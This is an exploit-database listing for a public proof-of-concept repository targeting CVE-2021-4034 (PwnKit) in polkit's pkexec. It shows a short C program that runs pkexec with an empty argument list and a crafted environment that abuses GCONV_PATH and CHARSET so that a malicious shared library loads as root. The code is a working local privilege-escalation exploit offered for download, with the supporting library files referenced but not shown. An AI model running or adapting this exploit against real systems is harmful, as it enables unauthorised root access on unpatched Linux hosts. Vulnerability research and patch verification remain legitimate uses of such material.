Exploit database

GH-1841059e3156bc46615ef7a77c2fccba

yakumwamba/poc-cve-2021-4034

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-4034

144 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
yakumwamba/poc-cve-2021-4034Revision 395871e48d35

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

cve-2021-4034.c

C · 291 bytes
#include <unistd.h>

int main(int argc, char **argv)
{
	char * const args[] = {
		NULL
	};
	char * const environ[] = {
		"pwnkit.so:.",
		"PATH=GCONV_PATH=.",
		"SHELL=/lol/i/do/not/exists",
		"CHARSET=PWNKIT",
		"GIO_USE_VFS=",
		NULL
	};
	return execve("/usr/bin/pkexec", args, environ);
}